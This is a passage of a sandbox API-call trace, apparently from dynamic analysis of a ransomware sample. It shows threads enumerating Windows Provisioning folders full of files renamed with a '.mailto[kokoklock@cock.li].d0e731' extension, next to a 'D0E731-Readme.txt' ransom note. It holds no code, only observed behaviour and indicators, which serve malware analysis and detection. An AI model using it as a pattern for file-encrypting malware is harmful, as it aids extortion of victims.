(HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022e58 [0176.365] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\*", lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c7f00f5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c7f00f5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f808e0 [0176.365] wcscmp (_String1=".", _String2=".") returned 0 [0176.365] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c7f00f5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c7f00f5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.365] wcscmp (_String1="..", _String2=".") returned 1 [0176.365] wcscmp (_String1="..", _String2="..") returned 0 [0176.365] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f19b66, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f19b66, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c7c9c9e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.365] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.365] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.366] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2faba08 [0176.366] wcscpy (in: _Dest=0x2faba08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime" [0176.366] wcscat (in: _Dest=0x2faba08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\" [0176.366] wcscat (in: _Dest=0x2faba08, _Source="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" [0176.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faba08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0176.658] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7f00f5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c7f00f5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c7f00f5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.659] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.659] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.659] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7f00f5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c7f00f5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c7f00f5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.659] FindClose (in: hFindFile=0x2f808e0 | out: hFindFile=0x2f808e0) returned 1 [0176.659] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022e58) returned 1 [0176.659] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6e38) returned 1 [0176.659] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b200) returned 1 [0176.659] RtlExitUserThread (Status=0x0) Thread: id = 2495 os_tid = 0xe24 [0176.366] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.366] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.367] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.367] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.367] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305da70) returned 1 [0176.367] RtlExitUserThread (Status=0x0) Thread: id = 2496 os_tid = 0xe3c [0176.371] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa6be0 [0176.371] wcscpy (in: _Dest=0x2fa6be0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime" [0176.371] wcscat (in: _Dest=0x2fa6be0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\" [0176.371] wcscat (in: _Dest=0x2fa6be0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\*" [0176.371] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30230c0 [0176.371] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\*", lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c81633b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c81633b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f801e0 [0176.371] wcscmp (_String1=".", _String2=".") returned 0 [0176.371] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c81633b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c81633b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.371] wcscmp (_String1="..", _String2=".") returned 1 [0176.371] wcscmp (_String1="..", _String2="..") returned 0 [0176.371] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef7d10, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef7d10, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c81633b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.371] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.371] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.371] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe1da0 [0176.372] wcscpy (in: _Dest=0x2fe1da0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime" [0176.372] wcscat (in: _Dest=0x2fe1da0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\" [0176.372] wcscat (in: _Dest=0x2fe1da0, _Source="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0176.656] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c81633b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c81633b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c81633b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.656] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.656] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.656] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c81633b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c81633b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c81633b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.656] FindClose (in: hFindFile=0x2f801e0 | out: hFindFile=0x2f801e0) returned 1 [0176.656] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30230c0) returned 1 [0176.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6be0) returned 1 [0176.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b138) returned 1 [0176.657] RtlExitUserThread (Status=0x0) Thread: id = 2497 os_tid = 0xe40 [0176.372] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.372] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.373] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.373] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.373] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305db88) returned 1 [0176.373] RtlExitUserThread (Status=0x0) Thread: id = 2498 os_tid = 0xe48 [0176.374] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa6ca8 [0176.374] wcscpy (in: _Dest=0x2fa6ca8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0176.374] wcscat (in: _Dest=0x2fa6ca8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0176.374] wcscat (in: _Dest=0x2fa6ca8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\*" [0176.374] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023328 [0176.374] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\*", lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ca52462, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ca52462, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f802e0 [0176.375] wcscmp (_String1=".", _String2=".") returned 0 [0176.375] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ca52462, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ca52462, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.376] wcscmp (_String1="..", _String2=".") returned 1 [0176.376] wcscmp (_String1="..", _String2="..") returned 0 [0176.376] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c4e960, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55c4e960, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c8aeb81, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="0__POW~1.D0E")) returned 1 [0176.376] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.376] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.376] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe2d78 [0176.376] wcscpy (in: _Dest=0x2fe2d78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0176.376] wcscat (in: _Dest=0x2fe2d78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0176.376] wcscat (in: _Dest=0x2fe2d78, _Source="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0176.648] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c74bbc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55c74bbc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c8faead, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="1__POW~1.D0E")) returned 1 [0176.648] wcscmp (_String1="1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.648] wcscmp (_String1="1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.649] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe1ed8 [0176.649] wcscpy (in: _Dest=0x2fe1ed8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0176.649] wcscat (in: _Dest=0x2fe1ed8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0176.649] wcscat (in: _Dest=0x2fe1ed8, _Source="1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1ed8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0176.649] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c9ae14, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55c9ae14, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c92126a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x19f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="2__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="2__POW~1.D0E")) returned 1 [0176.649] wcscmp (_String1="2__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.649] wcscmp (_String1="2__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.649] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe1650 [0176.649] wcscpy (in: _Dest=0x2fe1650, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0176.649] wcscat (in: _Dest=0x2fe1650, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0176.649] wcscat (in: _Dest=0x2fe1650, _Source="2__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850 [0176.650] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cc1070, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55cc1070, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8ca52462, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x19f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="3__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="3__POW~1.D0E")) returned 1 [0176.650] wcscmp (_String1="3__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.650] wcscmp (_String1="3__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.650] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe2010 [0176.650] wcscpy (in: _Dest=0x2fe2010, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All 